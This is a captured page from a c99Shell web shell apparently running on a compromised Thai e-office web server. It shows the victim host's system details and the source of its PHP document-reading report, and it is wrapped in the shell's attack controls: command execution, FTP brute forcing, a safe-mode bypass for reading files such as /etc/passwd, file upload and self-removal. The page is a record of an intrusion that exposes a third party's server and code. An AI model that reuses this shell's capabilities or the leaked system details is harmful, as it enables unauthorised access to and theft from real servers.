!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printRepCheckDocPerson.php (13.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
set_time_limit
(0);
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"funct.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/keyThai.php";
include_once 
"getPrefix.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clspsdept.php";
 
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDoc = new Documents($oC);    //
$oDoc2 = new Documents($oC);    //

$oDP = new Department($oC);
$oDP1 = new Department($oC);
$oDP1 = new Department($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oPS = new person($oC);
$oRs = new DocReceiveSend($oC);
$oPSd = new psdept($oC);
$InputThai=$oSys->SearchByInputThai();

?>
<title>รายงานการตรวจสอบการเปิดอ่านหนังสือของสิทธิ์ผู้ใช้ทั่วไปแยกตามหน่วยงานย่อย</title>
<script src="getinfo.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<body>
<div id="tabmargin">
       <form name="ff" method="post" action="printRepCheckDocPersonex.php">
          <div align="center">
          </div><br>
        <table width="100%" align="center">
          <tr bgcolor="#FFFFFF">
        <td width="99%"><table width="100%"  cellpadding="1" cellspacing="1">
            <tr> 
              <td height="22"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>
                รายงานการตรวจสอบการเปิดอ่านหนังสือของสิทธิ์ผู้ใช้ทั่วไปแยกตามหน่วยงานย่อย<? $oDP1->SearchByKey($deptId);  $oDP1->GetRecord(); echo "&nbsp;:: ".a2th($oDP1->deptName);  ?></strong></font></td>
              <td height="22" align="right"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>OIS...</strong></font></td>
            </tr>
            <tr> 
              <td width="73%" height="22"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong><? echo $GLOBALS["COLLEGENAME"]; ?> 
            <? if(th2a($yearDoc) == 0){  
                          echo 
"ตั้งแต่วันที่ "; list($day1,$month1,$year1) = preg_split('[/]',$start);  $s=($year1+543)."-".$month1."-".$day1;   echo abbreDate2($s,'/');                        
                        echo 
" ถึง "; list($day2,$month2,$year2) = preg_split('[/]',$end);  $e=($year2+543)."-".$month2."-".$day2;   echo abbreDate2($e,'/');                        
                    }else{
                        echo 
"ประจำปี ".a2th($yearDoc);
                    }
            
?>
                </strong></font></td>
              <td width="27%" align="right">
              <a href='#' onClick='return showDocex2()'><img src="../picture/print.gif" title="พิมพ์หน้านี้"  border="0" style="cursor:pointer;"></a>&nbsp;
              <a href='#' onClick='return showDocex()'><img src="../picture/ico_excel.gif" title="พิมพ์ excel"  border="0" style="cursor:pointer;"></a></td>
            </tr>
            <tr> 
              <td height="24" colspan="2"><hr></td>
            </tr>
          </table>
          <div id="show_info" ><? include("showUploadDocClearDoc.php");?></div>
            <table width="100%" border="1" cellpadding="0" cellspacing="0" align="center" style="border-collapse:collapse" bordercolor="#000000">
                <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"> 
                     <td width="20%" height="22"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>ชื่อบุคลากรในหน่วยงานย่อย</strong></font></td>
                           <td width="13%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือที่ได้รับทั้งหมด</strong></font></td>
                          <td width="13%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือที่ยังไม่เปิด</strong></font></td>
                          <td width="13%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือที่ยังไม่เปิดแฟ้มหนังสือ</strong></font></td>
                          <td width="13%"><font  face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือที่ยังไม่รับทราบ</strong></font></td>
                          <td width="13%"><font  face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือที่ยังไม่จัดเก็บ</strong></font></td>
                          <td width="15%"><font  face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือที่จัดเก็บลงโฟลเดอร์</strong></font></td>
<!-- ============================== เอาคอลัมน์ ลบหนังสือออก ======================================= -->
                          <!-- <td width="15%"><font  face="MS Sans Serif, Tahoma, sans-serif"><strong>จำนวนหนังสือลบทิ้ง</strong></font></td>
                          <? if($groupps==SearchGroupAdmin() || $groupps==SearchGroupUsers()){  ?>
                          <td width="5%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>เคลียร์</strong></font></td>
                          <? }?> -->
<!-- ============================== ========================= -->
                </tr>
    <? 
    $flag 
0;
    if(
th2a($yearDoc) == 0){
        list(
$dd$mm$yy) = preg_split('[/]',$start);
        
$startT=($yy+543)."-".$mm."-".$dd;
        list(
$dd$mm$yy) = preg_split('[/]',$end);
        
$endT=($yy+543)."-".$mm."-".$dd;
    }else{
        
$yy th2a($yearDoc);
        
$startT $yy."-01-01";
        
$endT $yy."-12-31";
    }
    
$i=0;
    
$oPS->SearchByDeptIdOrderAdminIdHireId($deptId);
    while(
$oPS->GetRecord()){ 
            
$countall=0;
            
$countunread=0;
            
$countunreaddocfile=0;
            
$countunreceivedoc=0;
            
$sumcountdoc=0;
    
?>
        <tr>
        <td  height="22">&nbsp;<? echo ($i+1).".".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."&nbsp;"?> </td>
        <td align="center"><? $countall=$oRs->searchCountDocAll($oPS->personId,$startT,$endT);  echo a2th($countall);  ?></td>
        <td align="center"><? $countunread=$oRs->searchCountDocUnread($oPS->personId,$startT,$endT);  echo a2th($countunread);  ?></td>
        <td align="center"><? $countunreaddocfile=$oRs->searchCountDocRead($oPS->personId,$startT,$endT);   echo a2th($countunreaddocfile); ?></td>
        <td align="center"><? $countunreceivedoc=$oRs->searchCountUnReceiveDoc($oPS->personId,$startT,$endT);   echo a2th($countunreceivedoc);  ?></td>
<!-- ============================== เอาคอลัมน์ ลบหนังสือออก ======================================= -->
        <!-- <td align="center"><? $countalldel=$oRs->searchCountDocAllDel($oPS->personId,$startT,$endT);   echo a2th($countalldel);  ?></td>    
        <?  //$sumcountdoc=$countunread+$countunreaddocfile+$countunreceivedoc;   ?>
        <? /* if($groupps==SearchGroupAdmin() ||  $groupps==SearchGroupUsers()){   
                if(($groupps==SearchGroupUsers() && $oPS->personId==$showpersonId && $sumcountdoc!='0') || ($groupps==SearchGroupAdmin() && $sumcountdoc!='0')){ */
        
?>
        <td align="center"><img src="../picture/inputSecTQ.gif" border="0" style="cursor:pointer;" onClick="return ShowSelectDocClearDoc('<? echo $oPS->personId?>','<? echo $showpersonId?>')"></td>    
        <?            
                
//}else{ echo "<td>&nbsp;</td>"; }
            //} 
?>-->
        <td align="center"><? $countoutfolder=$oRs->searchCountOutFolder($oPS->personId,$startT,$endT);   echo a2th($countoutfolder); ?></td>
        <td align="center"><? $countinfolder=$oRs->searchCountInFolder($oPS->personId,$startT,$endT);   echo a2th($countinfolder); ?></td>
<!-- ============================== ========================= -->
        </tr>
    <?  $i++; } 
        if(
$i==0){
    
?>
    <tr><td colspan="<? if($groupps==SearchGroupAdmin() && $sumcountdoc!='0'){  echo "7"; }else{  echo "6"; } ?>" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" >** ไม่พบรายการ **</font></td></tr>
    <? ?>
        <tr>
        <td colspan="<? if($groupps==SearchGroupAdmin() && $sumcountdoc!='0'){  echo "7"; }else{  echo "6"; } ?>" ><b>&nbsp;ผู้ใช้ทั่วไปในหน่วยงานรอง</b></td>
        </tr>
    <?    $k=0;  
            
$oPSd->SearchPsdept2($deptId);
            while(
$oPSd->GetRecord()){

            
$countallps=0;
            
$countunreadps=0;
            
$countunreaddocfileps=0;
            
$countunreceivedocps=0;
            
$sumcountdocps=0;
    
?>
        <tr>
        <td  height="22">&nbsp;<? echo ($k+1).".".GetPrefix($oPSd->prefixId).$oPSd->fName."&nbsp;".$oPSd->lName."&nbsp;"?> </td>
        <td align="center"><? $countallps=$oRs->searchCountDocAll($oPSd->personId,$startT,$endT);  echo a2th($countallps);  ?></td>
        <td align="center"><? $countunreadps=$oRs->searchCountDocUnread($oPSd->personId,$startT,$endT);  echo a2th($countunreadps);  ?></td>
        <td align="center"><? $countunreaddocfileps=$oRs->searchCountDocRead($oPSd->personId,$startT,$endT);   echo a2th($countunreaddocfileps); ?></td>
        <td align="center"><? $countunreceivedocps=$oRs->searchCountUnReceiveDoc($oPSd->personId,$startT,$endT);   echo a2th($countunreceivedocps);  ?></td>
<!-- ============================== เอาคอลัมน์ ลบหนังสือออก ======================================= -->
        <!-- <td align="center"><? //$countalldelps=$oRs->searchCountDocAllDel($oPSd->personId,$startT,$endT);   echo a2th($countalldelps);  ?></td>    
        <?  //$sumcountdocps=$countunreadps+$countunreaddocfileps+$countunreceivedocps;   ?>
        <? /* if($groupps==SearchGroupAdmin() ||  $groupps==SearchGroupUsers()){   
                if(($groupps==SearchGroupUsers() && $oPS->personId==$showpersonId && $sumcountdoc!='0') || ($groupps==SearchGroupAdmin() && $sumcountdocps!='0')){ */
        
?>
        <td align="center"><img src="../picture/inputSecTQ.gif" border="0" style="cursor:pointer;" onClick="return ShowSelectDocClearDoc('<? echo $oPS->personId?>','<? echo $showpersonId?>')"></td>    
        <?            
                
//}else{ echo "<td>&nbsp;</td>"; }
            //} 
?>-->
<!-- ============================== ========================= -->
        <td align="center"><? $countoutfolderps=$oRs->searchCountOutFolder($oPSd->personId,$startT,$endT);   echo a2th($countoutfolderps); ?></td>
        <td align="center"><? $countinfolderps=$oRs->searchCountInFolder($oPSd->personId,$startT,$endT);   echo a2th($countinfolderps); ?></td>
        </tr>
<?
                $k
++;
            }
            if(
$k==0){
?>        
    <tr><td colspan="<? if($groupps==SearchGroupAdmin() && $sumcountdoc!='0'){  echo "7"; }else{  echo "7"; } ?>" align="center" >** ไม่พบรายการ **</font></td></tr>
    <? ?>
        </table>
  <input type="hidden" name="start" id="start" value="<? echo $start?>" >
  <input type="hidden" name="end" id="end" value="<? echo $end?>" >
  <input type="hidden" name="yearDoc" id="yearDoc"  value="<? echo $yearDoc?>" >
  <input type="hidden" name="deptId" id="deptId"  value="<? echo $deptId?>" >
  <input type="hidden" name="groupps" id="groupps"  value="<? echo $groupps?>" >
  <input type="hidden" name="showpersonId" id="showpersonId"  value="<? echo $showpersonId?>" >
  <input type="hidden" name="print" id="print" value="พิมพ์" >
          </form>
<table width="100%" border="0" align="center">
        <tr> 
          <td width="136" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- จำนวนหนังสือที่ได้รับทั้งหมด จะรวมถึงหนังสือที่ถูกลบไปด้วย</font></td>
        </tr>
        <tr> 
          <td width="136" align="left">&nbsp;</td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- จำนวนหนังสือที่ยังไม่เปิด หมายถึง จำนวนหนังสือที่ยังไม่ได้เปิดอ่าน</font></td>
        </tr>        
        <tr> 
          <td width="136">&nbsp;</td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- จำนวนหนังสือที่ยังไม่เปิดแฟ้มหนังสือ หมายถึง จำนวนหนังสือที่เปิดอ่านแล้ว แต่ยังไม่อ่านแฟ้มหนังสือ หรืออ่านไม่ครบทุกแฟ้มหนังสือ</font></td>
        </tr>
        <tr> 
          <td width="136">&nbsp;</td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- จำนวนหนังสือที่ยังไม่รับทราบ หมายถึง จำนวนหนังสือที่เปิดอ่านแล้ว อ่านหนังสือทุกแฟ้มแล้ว แต่ยังไม่ได้รับทราบ</font></td>
        </tr>
        <? if($groupps==SearchGroupAdmin() ||  $groupps==SearchGroupUsers()){  ?>
        <tr> 
          <td width="136">&nbsp;</td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- คลิก <img src="../picture/inputSecTQ.gif" border="0"> เพื่อเคลียร์สถานะหนังสือ (จำนวนหนังสือที่ยังไม่เปิด, จำนวนหนังสือที่ยังไม่เปิดแฟ้มหนังสือ,  จำนวนหนังสือที่ยังไม่รับทราบ) เป็น "ลบหนังสือกรณีพิเศษ"</font></td>
        </tr>        
        <? }?>
        </table>
</div>
</body>
<script>
 function showline(p){ 
             FileName = "showlinedocTable.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
function showDocex(){
    document.ff.submit();
}
function showDocex2(){
    window.print();
}
function clearDoc(personId){ 

    
            if(document.getElementById("DocRefClearDoc").value==""){
                alert("กรุณาแนบข้อมูลเอกสารอ้างอิง");
                return false;
            }else{
                var agree=confirm("คุณต้องการจะลบหนังสือนี้แน่นอนใช่หรือไม่ ?");
                if (agree){
                        document.ff.action="processClearDoc.php";
                        return true;
                }else{
                        return false;
                }
    
            }
}    
function printClearDocHis(personId){
             FileName = "showClearDocHisTable.php?personId="+personId;
            var w=600;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0189 ]--